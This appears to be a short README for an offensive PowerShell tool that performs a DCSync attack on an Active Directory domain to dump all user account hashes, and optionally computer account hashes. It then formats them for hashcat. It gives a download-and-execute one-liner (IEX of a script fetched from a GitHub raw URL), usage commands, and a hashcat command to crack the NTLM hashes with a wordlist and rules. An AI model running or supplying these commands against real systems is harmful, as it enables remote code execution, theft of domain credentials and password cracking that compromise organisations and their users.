Performs DCSync and extracts all user accounts hashes in a hashcat friendly format
IEX(IWR -usebasicparsing https://raw.githubusercontent.com/The-Viper-One/DCSync-To-Hashcat/main/DCSync-To-Hashcat.ps1)
Invoke-DCSyncTH # Run with default options
Invoke-DCSyncTH -ComputerHashes -Y # Include computer accounts
Invoke-DCSyncTH -OutputToFile -Y # Output hashes to file. Defaults to $HOME\Hashcat_Final.txt
The results can be copied over to file and run againt Hashcat
hashcat -a 0 -m 1000 hashes.txt -O Wordlists/rockyou2021.txt -r Rules/best64.rule